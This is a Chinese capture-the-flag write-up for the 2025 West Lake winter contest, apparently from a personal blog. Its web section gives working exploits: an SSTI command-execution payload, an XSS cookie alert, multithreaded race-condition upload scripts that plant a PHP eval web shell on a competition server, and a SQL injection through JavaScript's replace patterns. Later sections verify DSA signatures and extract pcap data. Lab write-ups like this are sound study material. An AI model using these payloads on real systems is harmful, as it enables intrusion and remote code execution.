2025西湖冬季
图片不全去我blog找👇
25西湖 | DDL'S BLOG
文章所有参考将在文末给出
web
web1
ssti
太简单的不赘述,知道用就行
{ {cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "\150\145\141\144\40\57\146\154\141\52")').read()}}
赘述
个admin");alert(document.cookie);("能弹出admin
web2
先是弱口令爆破
密码year2000 用户admin
上传的php文件会被删除,条件竞争
普通脚本
import io import re import requests import threading # 定义目标 URL 和正则表达式 up_url = 'http://139.155.126.78:27102/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/' php_idx = '1f14bba00da3b75118bc8dbf8625f7d0/(.*?)\\.php</' payload = '''<?php phpinfo(); ignore_user_abort(true); set_time_limit(0); $file = 'shell.php'; $code = '<?php @eval($_POST[1]);?>'; while (1) { file_put_contents($file, $code); } ?>''' p = io.StringIO(payload) # 定义任务函数 def fetch_and_process(): while True: try: # 获取页面内容 headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Cache-Control": "max-age=0", "Cookie": "PHPSESSID=keub5bch0acvude4bsikfa2m9k", "Host": "139.155.126.78:27102", "Origin": "http://139.155.126.78:28385", "Referer": "http://139.155.126.78:28385/admin/index.php", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" } # you should modify File content and Content-Type by yourself files = {"file_upload": ("s.php", p, "image/png")} url = "http://139.155.126.78:27102/admin/index.php" res = requests.post(url=url, headers=headers, files=files, verify=False) shell_path = re.findall(php_idx, res.text) # 访问提取的 PHP 文件 print(requests.get(f'{up_url}{shell_path[0]}.php').text) print(f'{up_url}{shell_path[0]}.php') for i in range(10): print(requests.get(f'{up_url}{shell_path[0]}.php').text) except: pass # 启动多线程 num_threads = 50 threads = [] for _ in range(num_threads): thread = threading.Thread(target=fetch_and_process) thread.daemon = True # 设置为守护线程 threads.append(thread) thread.start() # 保持主线程运行 for thread in threads: thread.join()
正则脚本
import requests import re import time from multiprocessing import Process burp0_url = "http://139.155.126.78:16004/admin/index.php" burp0_cookies = {"PHPSESSID": "iua127iuofecbllp3f56gtg3qb"} burp0_headers = { "Cache-Control": "max-age=0", "Origin": "http://139.155.126.78:16004", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryt2b9EtsFNrTXH9Tl", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://139.155.126.78:16004/admin/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close" } burp0_data = """------WebKitFormBoundaryt2b9EtsFNrTXH9Tl\r\nContent-Disposition: form-data; name="file_upload"; filename="1.php"\r\nContent-Type: text/php\r\n\r\n<?php\nreadfile("/flag");\n?>\r\n------WebKitFormBoundaryt2b9EtsFNrTXH9Tl--\r\n""" # 从响应中提取上传后的文件路径 def extract_uploaded_file(response_text): # 正则表达式匹配上传后的文件路径 match = re.search(r'文件已保存为:\s*(.*?)(?=\s*</p>)', response_text) if match: return match.group(1) return None # 尝试上传文件并访问它 def upload_and_access_file(): while True: try: # 上传文件 from time import time import hashlib # print(hashlib.md5()) response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, timeout=5,proxies={"http":"127.0.0.1:8080"}) if response.status_code == 200: print("File uploaded successfully, parsing response to find the file path...") # 提取上传后的文件路径 file_path = extract_uploaded_file(response.text) print(file_path) if file_path: # 完整的文件访问路径 file_url = f"http://139.155.126.78:16004/admin/{file_path[1:]}" print(f"File uploaded to: {file_url}") try: # 立即访问文件 access_response = requests.get(file_url, timeout=5,proxies={"http":"127.0.0.1:8080"}) if access_response.status_code == 200: print("Successfully accessed the file!") print("File Content:\n", access_response.text) exit() else: print(f"Failed to access the file, status code: {access_response.status_code}") except requests.exceptions.RequestException as e: print(f"Error accessing the file: {e}") else: print("Failed to find the uploaded file path in the response.") else: print(f"File upload failed, status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error uploading file: {e}") # 创建并启动多个进程 def start_processes(num_processes=10): processes = [] for _ in range(num_processes): process = Process(target=upload_and_access_file) processes.append(process) process.start() # 等待所有进程完成 for process in processes: process.join() if __name__ == "__main__": start_processes(50) # 启动 10 个进程来并行执行上传和访问任务
web3
源码
var express = require('express'); var router = express.Router(); module.exports = router; router.get('/',(req,res,next)=>{ if(req.query.info){ if(req.url.match(/\,/ig)){ res.end('hacker1!'); } var info = JSON.parse(req.query.info); if(info.username&&info.password){ var username = info.username; var password = info.password; if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){ res.end('hacker2!'); } var sql = "select * from userinfo where username = '{username}' and password = '{password}'"; sql = sql.replace("{username}",username); sql = sql.replace("{password}",password); connection.query(sql,function (err,rs) { if (err) { res.end('error1'); } else { if(rs.length>0){ res.sendFile('/flag'); }else { res.end('username or password error'); } } }) } else{ res.end("please input the data"); } } else{ res.end("please input the data"); } })
考的是js代码的replace函数在替换的时候的特殊指定字符串替换
/?info=%7B%22username%22%3A%22%24%60%20union%20select%201%2C2%23%22%2C%22password%22%3A%22adminaaaaaaa%22%7D 源: /?info={"username":"$` union select 1,2#","password":"adminaaaaaaa"}
misc
磁盘
提取俩文件
放进去.密码是图片,
挂载直接出
iot
easydatalog
日志文件提取脚本
import json import csv import os from Crypto.PublicKey import DSA from Crypto.Signature import DSS from Crypto.Hash import SHA256 import base64 # 读取公钥文件并存储到字典中 public_keys = {} public_folder = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/public' for filename in os.listdir(public_folder): if filename.endswith('.pem'): userid = filename[7:11] # 提取 userid with open(os.path.join(public_folder, filename), 'rb') as key_file: public_key = DSA.import_key(key_file.read()) # 导入 DSA 公钥 public_keys[userid] = public_key # 读取签名数据文件 sign_data_file = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/data-sign.csv' with open(sign_data_file, newline='', encoding='utf-8') as csvfile: reader = csv.DictReader(csvfile) altered_data = [] # 用于存储被篡改的数据 for row in reader: userid = row['username'] name_signature = base64.b64decode(row['name_signature']) idcard_signature = base64.b64decode(row['idcard_signature']) phone_signature = base64.b64decode(row['phone_signature']) # 读取原始数据 original_data_file = 'original_data.csv' with open(original_data_file, newline='', encoding='utf-8-sig') as original_csvfile: original_reader = csv.DictReader(original_csvfile) for original_row in original_reader: if original_row['user'] == userid: data_str = original_row['data'] data_dict = json.loads(data_str.replace('""', '"').replace('\\"', '"')) # 处理转义字符 break # 解码 name 字段中的 Unicode 转义字符 name = data_dict['name'].encode('utf-8').decode('unicode_escape') # 查找对应公钥 public_key = public_keys.get(userid.zfill(4)) # userid 左侧补零至四位数 if public_key is not None: # 使用 DSS 算法验证签名 signer = DSS.new(public_key, 'fips-186-3') # 验证 name name_hash = SHA256.new(name.encode()) # 对解码后的名字进行哈希计算 try: signer.verify(name_hash, name_signature) print(f"用户 {userid} 的 name 验证通过") except ValueError: print(f"用户 {userid} 的 name 验证失败,可能被篡改") altered_data.append({ 'userid': userid, 'name': name, 'idcard': data_dict['idcard'], 'phone': data_dict['phone'], 'error_field': 'name' }) # 验证 idcard idcard_hash = SHA256.new(data_dict['idcard'].encode()) try: signer.verify(idcard_hash, idcard_signature) print(f"用户 {userid} 的 idcard 验证通过") except ValueError: print(f"用户 {userid} 的 idcard 验证失败,可能被篡改") altered_data.append({ 'userid': userid, 'name': name, 'idcard': data_dict['idcard'], 'phone': data_dict['phone'], 'error_field': 'idcard' }) # 验证 phone phone_hash = SHA256.new(data_dict['phone'].encode()) try: signer.verify(phone_hash, phone_signature) print(f"用户 {userid} 的 phone 验证通过") except ValueError: print(f"用户 {userid} 的 phone 验证失败,可能被篡改") altered_data.append({ 'userid': userid, 'name': name, 'idcard': data_dict['idcard'], 'phone': data_dict['phone'], 'error_field': 'phone' }) else: print(f"未找到 {userid} 对应的公钥") # 将被篡改的数据写入新 csv 文件 if altered_data: altered_file = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/altered_data.csv' with open(altered_file, 'w', newline='', encoding='utf-8') as csvfile: fieldnames = ['userid', 'name', 'idcard', 'phone'] # 输出格式 writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writeheader() for row in altered_data: # 将被篡改的数据写入 CSV writer.writerow({ 'userid': row['userid'], 'name': row['name'], 'idcard': row['idcard'], 'phone': row['phone'] }) print(f"被篡改的数据已保存到 {altered_file}") else: print("未发现被篡改的数据")
剩下的就是misc了,不做了
DSASignatureData
先将json数据另存,然后分离出啦
tshark -r filter1.pcapng -T fields -e http.request.uri.query.parameter -e json.object -E separator=, > extracted_data.txt
拿脚本做验证
import json import csv import os from Crypto.PublicKey import DSA from Crypto.Signature import DSS from Crypto.Hash import SHA256 import base64 public_keys = {} public_folder = 'public' for filename in os.listdir(public_folder): if filename.endswith('.pem'): userid = filename[7:11] with open(os.path.join(public_folder, filename), 'rb') as key_file: public_key = DSA.import_key(key_file.read()) public_keys[userid] = public_key sign_data_file = 'data-sign.csv' with open(sign_data_file, newline='', encoding='utf-8') as csvfile: reader = csv.DictReader(csvfile) altered_data = [] for row in reader: userid = row['username'] name_signature = base64.b64decode(row['name_signature']) idcard_signature = base64.b64decode(row['idcard_signature']) phone_signature = base64.b64decode(row['phone_signature']) original_data_file = 'extracted_data.csv' with open(original_data_file, newline='', encoding='utf-8-sig') as original_csvfile: original_reader = csv.DictReader(original_csvfile) for original_row in original_reader: if original_row['user'] == userid: data_str = original_row['data'] data_dict = json.loads(data_str.replace('""', '"').replace('\\"', '"')) break name = data_dict['name'].encode('utf-8').decode('unicode_escape') public_key = public_keys.get(userid.zfill(4)) if public_key is not None: signer = DSS.new(public_key, 'fips-186-3') name_hash = SHA256.new(name.encode()) try: signer.verify(name_hash, name_signature) print(f"用户 {userid} 的 name 验证通过") except ValueError: print(f"用户 {userid} 的 name 验证失败") altered_data.append({ 'userid': userid, 'name': name, 'idcard': data_dict['idcard'], 'phone': data_dict['phone'], 'error_field': 'name' }) idcard_hash = SHA256.new(data_dict['idcard'].encode()) try: signer.verify(idcard_hash, idcard_signature) print(f"用户 {userid} 的 idcard 验证通过") except ValueError: print(f"用户 {userid} 的 idcard 验证失败") altered_data.append({ 'userid': userid, 'name': name, 'idcard': data_dict['idcard'], 'phone': data_dict['phone'], 'error_field': 'idcard' }) phone_hash = SHA256.new(data_dict['phone'].encode()) try: signer.verify(phone_hash, phone_signature) print(f"用户 {userid} 的 phone 验证通过") except ValueError: print(f"用户 {userid} 的 phone 验证失败") altered_data.append({ 'userid': userid, 'name': name, 'idcard': data_dict['idcard'], 'phone': data_dict['phone'], 'error_field': 'phone' }) else: print(f"未找到 {userid} 对应的公钥") altered_file = 'altered_data.csv' with open(altered_file, 'w', newline='', encoding='utf-8') as csvfile: fieldnames = ['userid', 'name', 'idcard', 'phone'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writeheader() for row in altered_data: writer.writerow({ 'userid': row['userid'], 'name': row['name'], 'idcard': row['idcard'], 'phone': row['phone'] })
参考
https://baozongwi.xyz/2025/01/18/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912025/#
https://mp.weixin.qq.com/s/hytf2uF2dKVOTv1Ht24Heg